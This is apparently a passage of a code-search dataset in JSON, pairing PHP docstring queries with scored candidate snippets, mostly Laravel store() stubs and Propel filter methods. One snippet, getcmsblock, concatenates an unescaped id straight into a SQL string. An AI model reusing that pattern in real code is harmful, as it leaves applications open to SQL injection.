return $this->addUsingAlias(ReportPeer::ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "279e577226bcfca613d73600edc6cffb", "score": "0.4364404", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(WsTokenPeer::WS_TOKEN_ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "c32f8732afcea27e02caa17d859d75be", "score": "0.4355441", "text": "protected function rawFilter($filter) {\n //Log::debug('query: ',$filter);\n\t\t// Build a query based on filter $filter\n $orderBy = 'Warehouse_Name';\n\t\t$query = Warehouse::query()\n ->select('Warehouse.objectID', 'Warehouse.Warehouse_Code', 'Warehouse.Warehouse_Name', 'Warehouse.Address_1', 'Warehouse.Address_2', 'Warehouse.City', 'Warehouse.Province', 'Warehouse.Post_Code', 'Warehouse.Phone', 'Warehouse.Fax', 'Warehouse.Remote_Address');\n\t\tif(isset($filter['objectID']) && strlen($filter['objectID']) > 1) {\n\t\t\t$query->where('objectID', 'like', $filter['objectID'] . '%');\n\t\t}\n\t\tif(isset($filter['Warehouse_Code']) && strlen($filter['Warehouse_Code']) > 1) {\n\t\t\t$query->where('Warehouse_Code', 'like', $filter['Warehouse_Code'] . '%');\n\t\t}\n\t\tif(isset($filter['Warehouse_Name']) && strlen($filter['Warehouse_Name']) > 1) {\n\t\t\t$query->where('Warehouse_Name', 'like', $filter['Warehouse_Name'] . '%');\n $query->orderByRaw(DB::raw(\"concat(length(Warehouse_Name), Warehouse_Name)\"));\n $orderBy = False;\n\t\t}\n\t\tif(isset($filter['objectID or Warehouse_Name']) && strlen($filter['objectID or Warehouse_Name']) > 1) {\n // s/b equivalent to where .. and (objectID = $locID or Warehouse_Name = $locID) and ..\n $locID = $filter['objectID or Warehouse_Name'];\n\t\t\t$query->where(function ($query) use ($locID) {\n $query->where('objectID', '=', $locID)->orWhere('Warehouse_Name', '=', $locID);\n });\n\t\t}\n if(isset($filter['Address_1']) && strlen($filter['Address_1']) > 1) {\n $query->where('Address_1', '=', $filter['Address_1']);\n }\n if(isset($filter['Address_2']) && strlen($filter['Address_2']) > 1) {\n $query->where('Address_2', '=', $filter['Address_2']);\n }\n if(isset($filter['City']) && strlen($filter['City']) > 1) {\n $query->where('City', '=', $filter['City']);\n }\n if(isset($filter['Province']) && strlen($filter['Province']) > 1) {\n $query->where('Province', 'like', $filter['Province'] . '%');\n }\n if(isset($filter['Post_Code']) && strlen($filter['Post_Code']) > 1) {\n $query->where('Post_Code', 'like', $filter['Post_Code'] . '%');\n }\n if(isset($filter['Fax']) && strlen($filter['Fax']) > 1) {\n $query->where('Fax', 'like', $filter['Fax'] . '%');\n }\n if(isset($filter['Remote_Address']) && strlen($filter['Remote_Address']) > 1) {\n $query->where('Remote_Address', 'like', $filter['Remote_Address'] . '%');\n }\n /*\n * container.child should generate this sql request\n * select Warehouse.* from Warehouse join container loc on loc.parentID = Warehouse.objectID where loc.objectID = 6213292075;\n */\n if(isset($filter['container.child']) && strlen($filter['container.child']) > 3) {\n $query\n ->join('container as loc', 'loc.parentID', '=', 'Warehouse.objectID')\n ->where('loc.objectID',$filter['container.child']);\n }\n if($orderBy) {\n $query->orderBy('Warehouse_Name', 'asc');\n }\n //dd(__METHOD__.\"(\".__LINE__.\")\",compact('filter','query'));\n return $query;\n }", "title": "" }, { "docid": "50c04e3cb92fcaf408133d6e21bb388f", "score": "0.4352857", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(ServicePeer::ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "4ac984b41fbf78cbd517335d25455163", "score": "0.43446752", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(PodcastPeer::ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "9c28c7fc1f1bea3bb9b2144623a2016f", "score": "0.43424022", "text": "function eth_getFilterChanges($id);", "title": "" }, { "docid": "49b5106b6602043d9893c6abd0f3d7a0", "score": "0.4334091", "text": "public function findOneByBlockgrantId($key, $con = null)\n {\n return $this->findPk($key, $con);\n }", "title": "" }, { "docid": "0be1d2c4be2ad3ccca42b0fd6ce6fe33", "score": "0.43333742", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(AliMember20180525TableMap::COL_ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "ac72cdb6c5f6fc67da5bac9170f428f8", "score": "0.43317914", "text": "public function getWhereId ($id)\n {\n return [\n \"{$this->col_rmsUploadId} = ?\" => $id,\n ];\n }", "title": "" }, { "docid": "a12a2cf8157a116acb4db5fa710a7d1e", "score": "0.4330609", "text": "function getcmsblock($id = '')\n\t{\n\t\t$query = $this->db->query(\"select * FROM \".$this->cmsblock_table.\" WHERE id = '\".$id.\"' AND status IN('active')\");\n\t\treturn $query->result_array();\n\t}", "title": "" }, { "docid": "dd7a27ea43ec4440fbcdcdabacc0af04", "score": "0.43300673", "text": "public function searchByUser($usersID)\r\n{\r\n$criteria=new CDbCriteria;\r\n\r\n$criteria->compare('user_id',$usersID);\r\n\r\nreturn new CActiveDataProvider($this, array(\r\n'criteria'=>$criteria,\r\n));\r\n}", "title": "" }, { "docid": "18f1a2a7a04366c3e4cc544fad2d605d", "score": "0.43300098", "text": "public function filterByItemId($select, $itemId)\n {\n $select->where('item_relations_relations.subject_item_id = ? OR item_relations_relations.object_item_id = ?',\n (int) $itemId, (int) $itemId);\n }", "title": "" } ]
972499302c169f21ea61b70e96990c89
Store a newly created resource in storage.
[ { "docid": "d05828e92e094507ddba02fba97bed7c", "score": "0.0", "text": "public function store(Request $request)\n {\n $validator = Validator::make($request->all(), [\n 'name' => 'required',\n 'description' => 'required',\n ]);\n\n if ($validator->fails()) {\n return redirect()->route('services.create')\n ->withErrors($validator)\n ->withInput();\n }\n\n $input = $request->all();\n if(isset($input['service_image'])){\n $service_image = $this->saveServiceImage($request);\n $input['image'] = $service_image;\n }\n Service::create($input);\n\n $request->session()->flash('message', 'Service has been added successfully!');\n return redirect()->route('services.index');\n }", "title": "" } ]
[ { "docid": "7e42fedef6bb33a605a9a912390eb1f7", "score": "0.72865677", "text": "public function store($data, Resource $resource);", "title": "" }, { "docid": "151a5a15a7c013546a09c2e74ab5ea61", "score": "0.7145327", "text": "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "title": "" }, { "docid": "5123f91023f684f97559dacd499fac58", "score": "0.71325725", "text": "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "title": "" }, { "docid": "a7fa3d3c4d35681d03532a282b2ef7d8", "score": "0.6640912", "text": "public function createStorage();", "title": "" }, { "docid": "f1bd5867e87bbf56aefbfc6de8693786", "score": "0.66209733", "text": "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "title": "" }, { "docid": "0c03c39e441c2fe392d76d6370ae3ce2", "score": "0.65685713", "text": "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "title": "" }, { "docid": "28d08bba4784cf6d55e31bc6ddef8362", "score": "0.652643", "text": "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "title": "" }, { "docid": "0f8c1fe3e3b0c6572457ef33c35c6488", "score": "0.65095705", "text": "function storeAndNew() {\n $this->store();\n }", "title": "" }, { "docid": "5c131d35165031041eaca6bb37ecf0c2", "score": "0.64490104", "text": "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "title": "" }, { "docid": "55b375ea7c339e8f0e9c38919b53b1db", "score": "0.637569", "text": "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "title": "" }, { "docid": "5088b0baaac4342bc47aa7ee8b774852", "score": "0.63736665", "text": "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" } ]
c88fbb3794481f56a2f002e0073a4fdb
The Schema for the Entity, if known.
[ { "docid": "5d7359c4ba3fe5fb06367d041d771b48", "score": "0.7368643", "text": "public function getSchema()\n {\n return $this->obj_schema;\n }", "title": "" } ]
[ { "docid": "67bdd12ffcbb537c42e21294ce783e16", "score": "0.75492823", "text": "public function schema()\n {\n if ($this->schema === null) {\n $this->schema = new Schema($this);\n }\n\n return $this->schema;\n }", "title": "" }, { "docid": "f5d45af1143b8d4e128fd205d1d46768", "score": "0.751648", "text": "public function getSchema()\n {\n return $this->schema;\n }", "title": "" }, { "docid": "f5d45af1143b8d4e128fd205d1d46768", "score": "0.751648", "text": "public function getSchema()\n {\n return $this->schema;\n }", "title": "" }, { "docid": "f5d45af1143b8d4e128fd205d1d46768", "score": "0.751648", "text": "public function getSchema()\n {\n return $this->schema;\n }", "title": "" }, { "docid": "f5d45af1143b8d4e128fd205d1d46768", "score": "0.751648", "text": "public function getSchema()\n {\n return $this->schema;\n }", "title": "" }, { "docid": "f5d45af1143b8d4e128fd205d1d46768", "score": "0.751648", "text": "public function getSchema()\n {\n return $this->schema;\n }", "title": "" }, { "docid": "f5d45af1143b8d4e128fd205d1d46768", "score": "0.751648", "text": "public function getSchema()\n {\n return $this->schema;\n }", "title": "" }, { "docid": "f5d45af1143b8d4e128fd205d1d46768", "score": "0.751648", "text": "public function getSchema()\n {\n return $this->schema;\n }", "title": "" }, { "docid": "e06a4efb3a6748a8700d252632bc7883", "score": "0.7496772", "text": "public function getSchema() {\n return $this->getData()->schema;\n }", "title": "" }, { "docid": "1eea56f5c71a9e081fa76c58d9e7a924", "score": "0.7447613", "text": "public function schema(): Schema\n {\n if (is_null__(var: $this->schema)) {\n $this->schema = $this->connection->getSchema();\n }\n\n return $this->schema;\n }", "title": "" }, { "docid": "499fa731424b05b89b017fb91ddb18c5", "score": "0.74305606", "text": "private function getSchema()\n {\n if ($this->schema === null) {\n $this->loadSchema();\n }\n\n return $this->schema;\n }", "title": "" }, { "docid": "b1f819386d237c47ed48472395c11237", "score": "0.74179137", "text": "public function getSchema()\n {\n return $this->_schema;\n }", "title": "" }, { "docid": "b1f819386d237c47ed48472395c11237", "score": "0.74179137", "text": "public function getSchema()\n {\n return $this->_schema;\n }", "title": "" }, { "docid": "ebd2feb064a140863a92fe9c136bea95", "score": "0.7350473", "text": "public function getSchema();", "title": "" }, { "docid": "ebd2feb064a140863a92fe9c136bea95", "score": "0.7350473", "text": "public function getSchema();", "title": "" }, { "docid": "ebd2feb064a140863a92fe9c136bea95", "score": "0.7350473", "text": "public function getSchema();", "title": "" }, { "docid": "3d7c103e205c0e06f42fd8d805e2bd10", "score": "0.7304722", "text": "public function getSchema(){\n return $this->_schema;\n }", "title": "" }, { "docid": "31bafdfe5213aa876e3c74ea640ccfc9", "score": "0.7220588", "text": "public static function getSchema();", "title": "" }, { "docid": "1ec9dc535e6a1dcdd3563e6d05407d31", "score": "0.71966815", "text": "abstract public static function getSchema();", "title": "" }, { "docid": "7b85b72dd56c12ca08f73655193c2dc1", "score": "0.7181491", "text": "public function getSchema(){}", "title": "" }, { "docid": "7b85b72dd56c12ca08f73655193c2dc1", "score": "0.7181491", "text": "public function getSchema(){}", "title": "" }, { "docid": "cdada166543774e216d564494bd60821", "score": "0.7169697", "text": "public function schema() {\n if (empty($this->schema)) {\n $class = $this->getDriverClass('Schema');\n $this->schema = new $class($this);\n }\n return $this->schema;\n }", "title": "" }, { "docid": "46fc36eb09502cf7486babbcba55085f", "score": "0.7147522", "text": "public function getSchema(): string\n {\n return $this->schema;\n }", "title": "" }, { "docid": "a7ca564f5888ec0165ccd8d9661f3f41", "score": "0.70655656", "text": "public function getSchema() {\n // TODO: Method to be implemented\n\t}", "title": "" }, { "docid": "9cfa2ca55934d29d151e07239ee2cb56", "score": "0.7050121", "text": "public function getSchema()\n {\n return $this->db_schema;\n }", "title": "" }, { "docid": "b7dbca4988f1b95e8180028fb226a4d1", "score": "0.6952988", "text": "public function getSchema()\n {\n $value = $this->get(self::schema);\n return $value === null ? (string)$value : $value;\n }", "title": "" }, { "docid": "a43afaa8e999b40c507f49c119928a79", "score": "0.69017786", "text": "public function getSchema(): ?string\n {\n return $this->data['schema'];\n }", "title": "" }, { "docid": "c30297522b302da94767b064a266556e", "score": "0.6863072", "text": "public function getSchema(): string;", "title": "" }, { "docid": "3c45c91c8a28011b549889342cf8ed39", "score": "0.6849918", "text": "public function getMetadataSchemaUri()\n {\n return $this->metadata_schema_uri;\n }", "title": "" }, { "docid": "0f74125a47927ce35d88e828778769c4", "score": "0.68355674", "text": "function getSchema();", "title": "" }, { "docid": "218ac1a950ec4d04a492c0e9c32a6bf9", "score": "0.6818943", "text": "public function schema() { }", "title": "" }, { "docid": "e8b0b17aa822dc6a0d81c9d5b1453a42", "score": "0.67989016", "text": "protected function schema()\n {\n return $this->connection()->getSchemaBuilder();\n }", "title": "" }, { "docid": "fc2df172361bb18334ba574aa5ebb67d", "score": "0.6744379", "text": "protected function schema()\n {\n return $this->getConnection()->getSchemaBuilder();\n }", "title": "" }, { "docid": "6bbab047621900dca42847446ba0a92e", "score": "0.6721957", "text": "public function schemaForModel($model): Schema;", "title": "" }, { "docid": "5643c7510fca07ab36e4d239cc9f3214", "score": "0.67103624", "text": "protected function schemaDefinition() {\n $schema = [\n 'description' => 'Tracks the latest revision for any entity',\n 'fields' => [\n 'entity_type' => [\n 'description' => 'The entity type',\n 'type' => 'varchar_ascii',\n 'length' => 255,\n 'not null' => TRUE,\n 'default' => '',\n ],\n 'entity_id' => [\n 'description' => 'The entity ID',\n 'type' => 'int',\n 'length' => 255,\n 'not null' => TRUE,\n 'default' => 0,\n ],\n 'langcode' => [\n 'description' => 'The language of the entity revision',\n 'type' => 'varchar',\n 'length' => 12,\n 'not null' => TRUE,\n 'default' => '',\n ],\n 'revision_id' => [\n 'description' => 'The latest revision ID for this entity',\n 'type' => 'int',\n 'not null' => TRUE,\n 'default' => 0,\n ],\n ],\n 'primary key' => ['entity_type', 'entity_id', 'langcode'],\n ];\n\n return $schema;\n }", "title": "" }, { "docid": "7e30268eb5fa026ea738ca1dcfc6e939", "score": "0.66799396", "text": "static function schema() {\n return self::getDb()->getSchemaBuilder();\n }", "title": "" }, { "docid": "ffba037ffaf56bbca874586a712c768f", "score": "0.6669091", "text": "public function getSchema()\n {\n return $this->_schema ?: $this->_schema = $this->getMetaData()->columns;\n }", "title": "" }, { "docid": "02878e5ae95618b18e756378442aa8e0", "score": "0.66634846", "text": "private function getSchema()\n\t{\n\t\tif ($this->schema === null)\n\t\t{\n\t\t\t$this->schema = new Piwik_Db_Schema_MySQL();\n\t\t}\n\t\treturn $this->schema;\n\t}", "title": "" }, { "docid": "209f53e36db5b6c8189a17a25d93e9e4", "score": "0.66524535", "text": "public function getSchema(){\n return $this->dbc->getSchema();\n }", "title": "" }, { "docid": "d87b033978a002f6c1094684dcb67bab", "score": "0.6627994", "text": "public function getSchema()\n {\n return $this->urnResolver->getRealPath('urn:genmato:module:Genmato_Sample:/etc/sample.xsd');\n }", "title": "" }, { "docid": "9cf0c8ec3744d7e7669dbe03d5275516", "score": "0.66205275", "text": "function schema()\n {\n return new Schema();\n }", "title": "" }, { "docid": "172dec63915d0d4037fdbd2a2c4864d5", "score": "0.6582059", "text": "protected function convertSchema() {\n return 